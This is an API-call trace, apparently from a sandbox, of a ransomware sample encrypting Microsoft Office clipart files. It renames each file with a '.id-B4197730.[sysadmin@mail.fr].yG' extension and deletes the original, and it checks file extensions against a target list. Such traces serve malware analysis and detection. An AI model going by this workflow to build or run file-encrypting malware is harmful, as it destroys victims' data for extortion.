	[0053.083] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.083] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.083] SetEndOfFile (hFile=0x334) returned 1
	[0053.084] CloseHandle (hObject=0x334) returned 1
	[0053.087] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.087] SetEndOfFile (hFile=0x2f8) returned 1
	[0053.088] CloseHandle (hObject=0x2f8) returned 1
	[0053.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1
	[0053.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.088] lstrlenW (lpString=".doc") returned 4
	[0053.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString=".docx") returned 5
	[0053.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.089] lstrlenW (lpString=".pdf") returned 4
	[0053.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString=".xls") returned 4
	[0053.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.089] lstrlenW (lpString=".xlsx") returned 5
	[0053.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.089] lstrlenW (lpString=".ppt") returned 4
	[0053.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString=".zip") returned 4
	[0053.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.089] lstrlenW (lpString=".rar") returned 4
	[0053.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString=".bz2") returned 4
	[0053.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString=".7z") returned 3
	[0053.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString=".dbf") returned 4
	[0053.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString=".1cd") returned 4
	[0053.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString=".jpg") returned 4
	[0053.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.089] lstrlenW (lpString=".doc") returned 4
	[0053.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString=".docx") returned 5
	[0053.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.090] lstrlenW (lpString=".pdf") returned 4
	[0053.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString=".xls") returned 4
	[0053.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.090] lstrlenW (lpString=".xlsx") returned 5
	[0053.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.090] lstrlenW (lpString=".ppt") returned 4
	[0053.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.090] lstrlenW (lpString=".zip") returned 4
	[0053.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.090] lstrlenW (lpString=".rar") returned 4
	[0053.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString=".bz2") returned 4
	[0053.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString=".7z") returned 3
	[0053.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.090] lstrlenW (lpString=".dbf") returned 4
	[0053.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.090] lstrlenW (lpString=".1cd") returned 4
	[0053.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0053.090] lstrlenW (lpString=".jpg") returned 4
	[0053.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.090] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.090] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0053.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0053.091] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4612) returned 1
	[0053.091] CloseHandle (hObject=0x2f8) returned 1
	[0053.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220
	[0053.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0053.092] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.092] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.092] GetLastError () returned 0x0
	[0053.092] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0053.111] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0053.114] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.114] WriteFile (in: hFile=0x334, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.114] SetEndOfFile (hFile=0x334) returned 1
	[0053.126] CloseHandle (hObject=0x334) returned 1
	[0053.128] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.128] SetEndOfFile (hFile=0x2f8) returned 1
	[0053.131] CloseHandle (hObject=0x2f8) returned 1
	[0053.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1
	[0053.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.131] lstrlenW (lpString=".doc") returned 4
	[0053.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.131] lstrlenW (lpString=".docx") returned 5
	[0053.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.131] lstrlenW (lpString=".pdf") returned 4
	[0053.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString=".xls") returned 4
	[0053.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.132] lstrlenW (lpString=".xlsx") returned 5
	[0053.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.132] lstrlenW (lpString=".ppt") returned 4
	[0053.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString=".zip") returned 4
	[0053.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.132] lstrlenW (lpString=".rar") returned 4
	[0053.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString=".bz2") returned 4
	[0053.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString=".7z") returned 3
	[0053.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString=".dbf") returned 4
	[0053.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString=".1cd") returned 4
	[0053.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString=".jpg") returned 4
	[0053.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.132] lstrlenW (lpString=".doc") returned 4
	[0053.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.132] lstrlenW (lpString=".docx") returned 5
	[0053.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.132] lstrlenW (lpString=".pdf") returned 4
	[0053.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString=".xls") returned 4
	[0053.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.133] lstrlenW (lpString=".xlsx") returned 5
	[0053.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.133] lstrlenW (lpString=".ppt") returned 4
	[0053.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.133] lstrlenW (lpString=".zip") returned 4
	[0053.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.133] lstrlenW (lpString=".rar") returned 4
	[0053.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString=".bz2") returned 4
	[0053.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString=".7z") returned 3
	[0053.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.133] lstrlenW (lpString=".dbf") returned 4
	[0053.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.133] lstrlenW (lpString=".1cd") returned 4
	[0053.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 68
	[0053.133] lstrlenW (lpString=".jpg") returned 4
	[0053.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.133] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0053.133] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0053.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0053.134] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=8492) returned 1
	[0053.134] CloseHandle (hObject=0x2f8) returned 1
	[0053.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220
	[0053.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0053.134] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.134] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0053.135] GetLastError () returned 0x0
	[0053.135] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x212c, lpOverlapped=0x0) returned 1
	[0053.148] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x2130, lpOverlapped=0x0) returned 1
	[0053.149] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.149] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.149] SetEndOfFile (hFile=0x39c) returned 1
	[0053.149] CloseHandle (hObject=0x39c) returned 1
	[0053.150] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.150] SetEndOfFile (hFile=0x2f8) returned 1
	[0053.151] CloseHandle (hObject=0x2f8) returned 1
	[0053.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.152] lstrlenW (lpString=".doc") returned 4
	[0053.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.152] lstrlenW (lpString=".docx") returned 5
	[0053.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.152] lstrlenW (lpString=".pdf") returned 4
	[0053.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.152] lstrlenW (lpString=".xls") returned 4
	[0053.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.152] lstrlenW (lpString=".xlsx") returned 5
	[0053.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.152] lstrlenW (lpString=".ppt") returned 4
	[0053.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.152] lstrlenW (lpString=".zip") returned 4
	[0053.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.152] lstrlenW (lpString=".rar") returned 4
	[0053.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.152] lstrlenW (lpString=".bz2") returned 4
	[0053.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.152] lstrlenW (lpString=".7z") returned 3
	[0053.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString=".dbf") returned 4
	[0053.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString=".1cd") returned 4
	[0053.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString=".jpg") returned 4
	[0053.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString=".doc") returned 4
	[0053.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString=".docx") returned 5
	[0053.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0053.153] lstrlenW (lpString=".pdf") returned 4
	[0053.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString=".xls") returned 4
	[0053.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0053.153] lstrlenW (lpString=".xlsx") returned 5
	[0053.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0053.153] lstrlenW (lpString=".ppt") returned 4
	[0053.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.153] lstrlenW (lpString=".zip") returned 4
	[0053.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0053.153] lstrlenW (lpString=".rar") returned 4
	[0053.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString=".bz2") returned 4
	[0053.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0053.153] lstrlenW (lpString=".7z") returned 3
	[0053.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0053.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.154] lstrlenW (lpString=".dbf") returned 4
	[0053.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0053.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.154] lstrlenW (lpString=".1cd") returned 4
	[0053.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0053.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0053.154] lstrlenW (lpString=".jpg") returned 4
	[0053.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0053.154] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.154] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0053.154] GetLastError () returned 0x0
	[0053.154] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0053.174] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0053.175] ReadFile (in: hFile=0x2f8, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.175] WriteFile (in: hFile=0x39c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0053.175] SetEndOfFile (hFile=0x39c) returned 1
	[0053.175] CloseHandle (hObject=0x39c) returned 1
	[0053.176] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.176] SetEndOfFile (hFile=0x2f8) returned 1
	[0053.177] CloseHandle (hObject=0x2f8) returned 1
	[0053.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0053.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1
	[0053.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0053.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
